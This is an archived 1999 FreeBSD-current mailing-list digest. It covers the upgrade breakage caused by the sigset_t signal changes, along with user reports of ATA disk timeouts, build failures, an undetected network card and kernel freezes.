From: Richard Wackerbarth <rkw@dataplex.net>
To: Marcel Moolenaar <marcel@scc.nl>
Subject: Re: new sigset_t and upgrading: a proposal
Date: Thu, 30 Sep 1999 08:11:09 -0500
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
Cc: current@FreeBSD.ORG
References: <37F337CC.5E06911B@scc.nl> <99093007010203.31512@nomad.dataplex.net> <37F35FDE.2480785E@scc.nl>
In-Reply-To: <37F35FDE.2480785E@scc.nl>
MIME-Version: 1.0
Message-Id: <99093008160506.31512@nomad.dataplex.net>
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, 30 Sep 1999, Marcel Moolenaar wrote:
> Richard Wackerbarth wrote:
> > 
> > > Sub-problem A (syscalls) can be easily handled if the syscalls are added
> > > to a -stable kernel.
> > 
> > Wrong. I CANNOT rebuild the kernel that runs my build machine.
> 
> What are you saying?

It's not my machine. It's a production machine. My target machines are too
small/slow to do their own builds. I need to do their builds on the build
server.

In other words, build tools need to be capable of being run on "older" kernels.
It is permissable to compile special versions for the purpose. But they will be
used ONLY to build that particular target. They cannot affect other users.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  6:26:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 2F4AA1597F
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 06:26:21 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id GAA23273;
	Thu, 30 Sep 1999 06:25:57 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909301325.GAA23273@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <37F337CC.5E06911B@scc.nl> from Marcel Moolenaar at "Sep 30, 1999 12:13:32 pm"
To: marcel@scc.nl (Marcel Moolenaar)
Date: Thu, 30 Sep 1999 06:25:56 -0700 (PDT)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Hi,
> 
> In the recent discussion about the breakage of the upgrade path from
> -stable to -current numerous suggestions and other kinds of remarks have
> been made. In this light I have the following proposal. Please share
> your thoughts...
> 
> NOTE: This proposal only discusses upgrading from -stable to -current.
> Users already running -current are expected to be capable of building a
> kernel before doing a make world.
> 
> The problem
> -----------
> When doing a make world, tools are being built that are used by the
> build process. This is to make sure that the tools are appropriate for
> doing a make world. The problem we now face is that the sigset_t change
> causes this to break. The tools that are being built use new syscalls
                                                           ^^^^^^^^^^^^
> not present in a kernel. Not only that, the new tools expect a different
  ^^^^^^^^^^^^^^^^^^^^^^^

Why are the tools being built using new syscalls?  What causes this?
I can't find it from a quick read of the Makefiles.  Should not a
proper adjustment to a -I flags on a cc command line some place fix
this?

Your changes have exposed a very serious short comming of the tools
target, and as others have pointed out, if we ever even want to think
about getting close to cross compiliation this target must work
correctly.

Please search mail archives about many various discussions about this
over the 6 year history of FreeBSD.

IMHO, the only ``correct'' fix for the latest incarnation of the
problem is to finally once and for all fix the cross compilation
environment instead of using a half cooked tools: target to deal
with certain problems.

> sigframe in general.
> So, the problem can be split into:
> A) New syscalls using the new sigset_t (sigaction and so on)
> B) A new sigframe (new siginfo, no sigcontext but ucontext_t)
> 
> The solution
> ------------
> Sub-problem A (syscalls) can be easily handled if the syscalls are added
> to a -stable kernel. The new sigset_t and dependencies used by these
> syscalls are converted back and are handled by the kernel in the normal
> way. The assumption here is that the tools that are needed by the make
> world are not depended on the extra signals and/or RT signals.

Or even easier to fix, never call them.  What in the world is building
in the tools target with new syscalls????  All of that stuff is suppose
to be built using the currently installed library/kernel API.  If not
we are never going to get to cross-compilation.

> Sub-problem B (sigframe) doesn't need to be handled, because:
> 	1. none of the tools required for doing a make world depends
> 	   on siginfo_t. The only C sources where SA_SIGINFO can be
> 	   found (not counting /sys) are:
> 		./contrib/sendmail/src/conf.c
> 		./gnu/usr.bin/rcs/lib/rcsutil.c
> 	2. The only program that uses sigcontext (and therefore
> 	   possibly sigreturn) is doscmd, which is not needed for
> 	   anything other than DOS emulation.
> This simply means that the sigframe changes are not visible in general
> and that the old sigframe should work for the binaries al well.

Good.

> 
> Pros
> ----
> o  It's relatively easy.
> o  It won't interfere with the normal operation of a -stable machine
>    and thus won't stretch the meaning of "stable" as a complete
>    backport would do.
> o  It increases inoperability between -stable and -current.
> o  It doesn't require to change the already complex build process.
> 
> Cons
> ----
> o  Upgrading from 3.3 and before to -current is only possible after
>    an upgrade to post 3.3.

Not good.

> o  It's still hypothetical.

And in IMNSHO, should probably remain that way.  I like real solutions,
not fragile bandaids.

I think your a pretty smart fellow, anyone who was able to do this with
the signal code and have it come out working as well as it has (glenned
from other posts about people who have made the jump in -current) should
be able to solve yet another engineering problem that was not accounted
for at the beginning of your change.  You probably solved a dozen of
them during this work, whats one more :-)

I furthermore think that if you put your mindset in the frame that this
is just another engineering problem you'll come up with the ``right
solution'' that will make everyone happy.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  6:26:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ipt2.iptelecom.net.ua (ipt2.iptelecom.net.ua [212.42.68.2])
	by hub.freebsd.org (Postfix) with ESMTP id 033AE159A3
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 06:26:25 -0700 (PDT)
	(envelope-from sobomax@altavista.net)
Received: from gate. (dialup2-54.iptelecom.net.ua [212.42.74.118])
	by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id QAA02318;
	Thu, 30 Sep 1999 16:26:16 +0300 (EEST)
Received: from altavista.net (big_brother [192.168.1.1])
	by gate. (8.9.3/8.9.3) with ESMTP id QAA08027;
	Thu, 30 Sep 1999 16:24:39 +0300 (EEST)
	(envelope-from sobomax@altavista.net)
Message-ID: <37F36496.523EF7F5@altavista.net>
Date: Thu, 30 Sep 1999 16:24:38 +0300
From: Maxim Sobolev <sobomax@altavista.net>
Reply-To: sobomax@altavista.net
Organization: Vega International Capital
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: ru,uk,en
MIME-Version: 1.0
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl>
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

As a fresh idea (probably stupid, but anyway):

Why we can't load compile and small KLD with all necessary syscalls (even
probably stubs) to build 4.0 world when someone trying to build  it on top
of 3.*?

-Maxim
--
"We believe in the Power and the Might!"
                        (Manowar, 1996)




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  6:51:32 1999
Delivered-To: freebsd-current@freebsd.org
Received: from culverk.student.umd.edu (culverk.student.umd.edu [129.2.196.87])
	by hub.freebsd.org (Postfix) with ESMTP id 0C43A15267
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 06:51:29 -0700 (PDT)
	(envelope-from culverk@culverk.student.umd.edu)
Received: from localhost (culverk@localhost)
	by culverk.student.umd.edu (8.9.3/8.9.3) with ESMTP id JAA02097
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 09:50:29 -0400 (EDT)
	(envelope-from culverk@culverk.student.umd.edu)
Date: Thu, 30 Sep 1999 09:50:29 -0400 (EDT)
From: Kenneth Culver <culverk@culverk.student.umd.edu>
To: freebsd-current@freebsd.org
Subject: ata0-slave timeout
Message-ID: <Pine.BSF.4.10.9909300947140.1134-100000@culverk.student.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Whenever I do anything that involves a lot of disk activity since the
recent changes, ata0-slave times out, and gives me hard failures and other
such nasty looking errors. I didn't think any of the recent changes could
make this happen, but I guess I'm wrong. The problem occurs mostly when
I'm building a new kernel: I type make -j8 in
/usr/src/sys/compile/MYKERNEL, and the errors start shortly thereafter.
The last time this happened, I had to re-install current because my usr
partition caused fsck to stop, and the system to lock hard. 

Kenneth Culver



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  6:54:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from culverk.student.umd.edu (culverk.student.umd.edu [129.2.196.87])
	by hub.freebsd.org (Postfix) with ESMTP id CD57F159D5
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 06:54:12 -0700 (PDT)
	(envelope-from culverk@culverk.student.umd.edu)
Received: from localhost (culverk@localhost)
	by culverk.student.umd.edu (8.9.3/8.9.3) with ESMTP id JAA02097
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 09:50:29 -0400 (EDT)
	(envelope-from culverk@culverk.student.umd.edu)
Date: Thu, 30 Sep 1999 09:50:29 -0400 (EDT)
From: Kenneth Culver <culverk@culverk.student.umd.edu>
To: freebsd-current@freebsd.org
Subject: ata0-slave timeout
Message-ID: <Pine.BSF.4.10.9909300947140.1134-100000@culverk.student.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Whenever I do anything that involves a lot of disk activity since the
recent changes, ata0-slave times out, and gives me hard failures and other
such nasty looking errors. I didn't think any of the recent changes could
make this happen, but I guess I'm wrong. The problem occurs mostly when
I'm building a new kernel: I type make -j8 in
/usr/src/sys/compile/MYKERNEL, and the errors start shortly thereafter.
The last time this happened, I had to re-install current because my usr
partition caused fsck to stop, and the system to lock hard. 

Kenneth Culver



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  7:10:58 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ipt2.iptelecom.net.ua (ipt2.iptelecom.net.ua [212.42.68.2])
	by hub.freebsd.org (Postfix) with ESMTP id 8701E159F8
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 07:10:27 -0700 (PDT)
	(envelope-from sobomax@altavista.net)
Received: from gate. (dialup2-5.iptelecom.net.ua [212.42.74.69])
	by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id RAA08065;
	Thu, 30 Sep 1999 17:10:29 +0300 (EEST)
Received: from altavista.net (big_brother [192.168.1.1])
	by gate. (8.9.3/8.9.3) with ESMTP id RAA08182;
	Thu, 30 Sep 1999 17:05:46 +0300 (EEST)
	(envelope-from sobomax@altavista.net)
Message-ID: <37F36E39.C6849F10@altavista.net>
Date: Thu, 30 Sep 1999 17:05:45 +0300
From: Maxim Sobolev <sobomax@altavista.net>
Reply-To: sobomax@altavista.net
Organization: Vega International Capital
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: ru,uk,en
MIME-Version: 1.0
To: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <37F23064.98EEBC67@scc.nl> <37F36496.523EF7F5@altavista.net>
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Maxim Sobolev wrote:

> Why we can't load compile and small KLD with all necessary syscalls (even

                        ^^^^^^^^^^^^^^^
I mean ".....load and compile small....". Cut and paste technology sometimes
plays bad jokes with us.;)

-Max




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  7:33:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from trojan.mcafee.ru (trojan.mcafee.ru [195.91.163.139])
	by hub.freebsd.org (Postfix) with ESMTP id A1C4314F0D
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 07:33:33 -0700 (PDT)
	(envelope-from ilya@trojan.mcafee.ru)
Received: from localhost (ilya@localhost)
	by trojan.mcafee.ru (8.9.3/8.9.3) with ESMTP id SAA00707
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 18:33:32 +0400 (MSD)
	(envelope-from ilya@trojan.mcafee.ru)
Date: Thu, 30 Sep 1999 18:33:32 +0400 (MSD)
From: Ilya Pekshev <ilya@trojan.mcafee.ru>
To: freebsd-current@freebsd.org
Subject: 4.0-CURRENT: libkvm compile fault
Message-ID: <Pine.BSF.4.10.9909301830410.696-100000@trojan.mcafee.ru>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

seems that something wrong went with last updates made to
signal.h, param.h and user.h in 4.0-CURRENT

after last cvsup can't compile ps, vmstat and libkvm. 
Any thoughs what's wrong?

Thanks,
-- 
Ilya Pekshev                                 Mailto:ilya@associates.ru
Associates.RU Ltd.                           http://www.associates.ru
Moscow, Russian Federation                   Tel: +7 095 202 0607



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  8: 8: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dns.MexComUSA.net (cm4094.cableco-op.com [208.138.40.94])
	by hub.freebsd.org (Postfix) with ESMTP id 1A61715A70
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 08:07:46 -0700 (PDT)
	(envelope-from eculp@MexComUSA.net)
Received: from MexComUSA.net (cm-208-138-47-186.cableco-op.ispchannel.com [208.138.47.186])
	by dns.MexComUSA.net (8.9.3/8.9.3) with ESMTP id IAA63116
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 08:07:36 -0700 (PDT)
	(envelope-from eculp@MexComUSA.net)
Message-ID: <37F37CC3.50698B7F@MexComUSA.net>
Date: Thu, 30 Sep 1999 15:07:47 +0000
From: Edwin Culp <eculp@MexComUSA.net>
Organization: Mexico Communicates
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "current@FreeBSD.ORG" <current@FreeBSD.ORG>
Subject: Linksys LNE100TX
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Fry´s was out of Intel 100/10 ethernet cards, so I bought a Linksys
LNE100TX remembering that I there was a driver for it.

I added
device          pn0
to my kernel configuration and compiled the kernel.  It was not detected
during boot.  I added the mii_bus0 controller just in case.  Recompiled
and still not detected.

Does anyone have the LNE100TX working in current?

Thanks,

ed



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  8:43:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id 5AFC714D8B
	for <current@FreeBSD.org>; Thu, 30 Sep 1999 08:43:41 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id RAA29610
	for current@FreeBSD.org; Thu, 30 Sep 1999 17:21:12 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Thu, 30 Sep 1999 17:20:52 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F37FD4.44FF20E8@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <Pine.BSF.4.10.9909301830410.696-100000@trojan.mcafee.ru>
Subject: Re: 4.0-CURRENT: libkvm compile fault
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Ilya Pekshev wrote:

> seems that something wrong went with last updates made to
> signal.h, param.h and user.h in 4.0-CURRENT
> 
> after last cvsup can't compile ps, vmstat and libkvm.
> Any thoughs what's wrong?

Do a make world. Make a new kernel before doing that. You need the new
libraries and headers installed before you can make individual programs.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  8:45:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dt014n8c.san.rr.com (dt011n66.san.rr.com [204.210.13.102])
	by hub.freebsd.org (Postfix) with ESMTP id F182615A07
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 08:45:34 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Received: from gorean.org (master [10.0.0.2])
	by dt014n8c.san.rr.com (8.9.3/8.8.8) with ESMTP id IAA39202;
	Thu, 30 Sep 1999 08:44:55 -0700 (PDT)
	(envelope-from Doug@gorean.org)
Message-ID: <37F38577.3FDC10F7@gorean.org>
Date: Thu, 30 Sep 1999 08:44:55 -0700
From: Doug <Doug@gorean.org>
Organization: Triborough Bridge & Tunnel Authority
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Alfred Perlstein <bright@wintelcom.net>
Cc: Harold Gutch <logix@foobar.franken.de>,
	Ben Rosengart <ben@skunk.org>, Marcel Moolenaar <marcel@scc.nl>,
	current@FreeBSD.ORG
Subject: Re: how to avoid bullets in the feet (was Re: HEADS UP: sigset_t 
 changescommitted)
References: <Pine.BSF.4.05.9909292048250.6368-100000@fw.wintelcom.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Alfred Perlstein wrote:
> 
> What's really needed is some warning sort of like what we
> did when the AOUT->ELF convertion happened, there has
> to be a simple way to test this as part of installworld.

	I think this would help. It also leads me to a request that's been in mind
for a while, namely a way to detect that someone is attempting to go from
2.2.x to 3.x or 4.x via 'make world' which will abort the procedure and
tell them about 'make upgrade'. I was going to try and figure this out
myself, and still will if no one else takes it, but this would stop about 3
letters to -questions per week, and much more as time goes on and more
people upgrade. 

Doug


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  9: 2:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 0802415045
	for <current@freebsd.org>; Thu, 30 Sep 1999 09:02:18 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id JAA22327;
	Thu, 30 Sep 1999 09:02:17 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id JAA25488;
	Thu, 30 Sep 1999 09:02:17 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990930090217.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <37F30EB8.C5D88D22@scc.nl>
Date: Thu, 30 Sep 1999 09:02:17 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Marcel Moolenaar <marcel@scc.nl>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Marcel Moolenaar wrote:

> As for AMD, I don't use it. I'll dig into manpages, source code and
> whatsnot. If possible I'll reconfigure something here so that I can test
> it on a i386.

Thanks.  I'll try to get you a stack trace from it today if I can
find time.

> BTW: I'm sorry, that a simple bug in the NFS code made your
> filesystem go south. I have been working hard to prevent that...

I know you have, and there's absolutely no need to apologize.  Your
commit was a model of excellence in terms of the review process, the
heads up message, the commit logs, etc.  This machine is a scratch box
and if I had to go all the way back to disklabel it wouldn't be much
of a disaster.  Besides, it appears I only lost files from "/usr/obj".
:-)

John
---
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  9: 5:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP id 3DCEB159D5
	for <current@freebsd.org>; Thu, 30 Sep 1999 09:05:35 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id RAA47641
	for freebsd.org!current; Thu, 30 Sep 1999 17:05:33 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Thu, 30 Sep 1999 17:00:30 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l03020916b41945e80955@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 30 Sep 1999 17:00:28 +0000
To: current@freebsd.org
From: Bob Bishop <rb@gid.co.uk>
Subject: system freezes with today's kernel
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

With today's kernel (cvsup at Thu Sep 30 04:04:55 BST 1999), this system
freezes (no DDB, nothing) as soon as any load is put on it (eg very early
in buildworld). Last kernel I have for it is 2 Aug, which is fine. Details
(as reported by the old kernel) follow. A kernel built from the same
sources is however fine on my SMP box. Any ideas?

Copyright (c) 1992-1999 The FreeBSD Project.
Copyright (c) 1982, 1986, 1989, 1991, 1993
        The Regents of the University of California. All rights reserved.
FreeBSD 4.0-CURRENT #31: Mon Aug  2 09:05:44 BST 1999
    rb@atlas:/source/cleansrc/sys/compile/ATLAS
Timecounter "i8254"  frequency 1193182 Hz
CPU: AMD-K6tm w/ multimedia extensions (233.86-MHz 586-class CPU)
  Origin = "AuthenticAMD"  Id = 0x562  Stepping = 2
  Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
  AMD Features=0x400<<b10>>
real memory  = 33554432 (32768K bytes)
avail memory = 28921856 (28244K bytes)
Preloaded elf kernel "kernel" at 0xc03ab000.
Probing for PnP devices:
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0
ide_pci0: <Intel PIIX4 Bus-master IDE controller> at device 7.1 on pci0
chip1: <UHCI USB controller> irq 11 at device 7.2 on pci0
chip2: <Intel 82371AB Power management controller> at device 7.3 on pci0
ed0: <NE2000 PCI Ethernet (ProLAN)> irq 10 at device 10.0 on pci0
ed0: address 00:20:18:80:b4:6d, type NE2000 (16 bit)
ahc0: <Adaptec 2940 Ultra SCSI adapter> irq 11 at device 12.0 on pci0
ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs
devclass_alloc_unit: ed0 already exists, using next available unit number
isa0: <ISA bus> on motherboard
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> on isa0
sc0: VGA <16 virtual consoles, flags=0x200>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
sio2: not probed (disabled)
sio3: not probed (disabled)
ppc0 at port 0x378-0x37f irq 7 flags 0x40 on isa0
ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode
plip0: <PLIP network interface> on ppbus 0
lpt0: <generic printer> on ppbus 0
lpt0: Interrupt-driven port
ppi0: <generic parallel i/o> on ppbus 0
ie0: unknown board_id: f000
Waiting 15 seconds for SCSI devices to settle
changing root device to da0s1a
cd0 at ahc0 bus 0 target 6 lun 0
cd0: <YAMAHA CRW4416S 1.0f> Removable CD-ROM SCSI-2 device
cd0: 8.333MB/s transfers (8.333MHz, offset 15)
cd0: Attempt to query device size failed: NOT READY, Medium not present -
tray c
losed
da0 at ahc0 bus 0 target 0 lun 0
da0: <IBM DCAS-34330W S65A> Fixed Direct Access SCSI-2 device
da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit)
da0: 4134MB (8467200 512 byte sectors: 255H 63S/T 527C)
da1 at ahc0 bus 0 target 1 lun 0
da1: <IBM DDRS-34560D DC1B> Fixed Direct Access SCSI-2 device
da1: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled
da1: 4357MB (8925000 512 byte sectors: 255H 63S/T 555C)


--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30  9:25: 1 1999
Delivered-To: freebsd-current@freebsd.org
Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165])
	by hub.freebsd.org (Postfix) with ESMTP id 7173E14FDE
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 09:24:51 -0700 (PDT)
	(envelope-from culverk@wam.umd.edu)
Received: from rac3.wam.umd.edu (root@rac3.wam.umd.edu [128.8.10.143])
	by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id MAA11210;
	Thu, 30 Sep 1999 12:24:24 -0400 (EDT)
Received: from rac3.wam.umd.edu (sendmail@localhost [127.0.0.1])
	by rac3.wam.umd.edu (8.9.3/8.9.3) with SMTP id MAA16683;
	Thu, 30 Sep 1999 12:24:28 -0400 (EDT)
Received: from localhost (culverk@localhost)
	by rac3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id MAA16679;
	Thu, 30 Sep 1999 12:24:27 -0400 (EDT)
X-Authentication-Warning: rac3.wam.umd.edu: culverk owned process doing -bs
Date: Thu, 30 Sep 1999 12:24:27 -0400 (EDT)
From: Kenneth Wayne Culver <culverk@wam.umd.edu>
To: John Polstra <jdp@polstra.com>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <XFMail.990930090217.jdp@polstra.com>
Message-ID: <Pine.GSO.4.10.9909301220370.14664-100000@rac3.wam.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I would have to agree with that. I have never seen such a well documented
commit. But even then I still ran into problems, although I'm not sure how
closely related they are to the changes made. My problems seem to be with
the Soren's ata drivers. The good old "lost contact with device" messages
are back and with a vengence. It seems that now (through a mistake of my
own, in addition to this problem with the ata drivers) I have to go back
to a snapshot of current, and reinstall all the tools, as well as a
generic kernel. However, the pnp controller as of the latest snapshot
still causes me to lock up hard before I ever get booted. Isn't there some
way to disable to pnp0 controller, like in the userconfig part off the
boot floppy?


=================================================================
| Kenneth Culver	      | FreeBSD: The best OS around.    |
| Unix Systems Administrator  | ICQ #: 24767726                 |
| and student at The          | AIM: AgRSkaterq	                |
| The University of Maryland, | Website: (Under Construction)   |
| College Park.		      | http://www.wam.umd.edu/~culverk/|
=================================================================

On Thu, 30 Sep 1999, John Polstra wrote:

> Marcel Moolenaar wrote:
> 
> > As for AMD, I don't use it. I'll dig into manpages, source code and
> > whatsnot. If possible I'll reconfigure something here so that I can test
> > it on a i386.
> 
> Thanks.  I'll try to get you a stack trace from it today if I can
> find time.
> 
> > BTW: I'm sorry, that a simple bug in the NFS code made your
> > filesystem go south. I have been working hard to prevent that...
> 
> I know you have, and there's absolutely no need to apologize.  Your
> commit was a model of excellence in terms of the review process, the
> heads up message, the commit logs, etc.  This machine is a scratch box
> and if I had to go all the way back to disklabel it wouldn't be much
> of a disaster.  Besides, it appears I only lost files from "/usr/obj".
> :-)
> 
> John
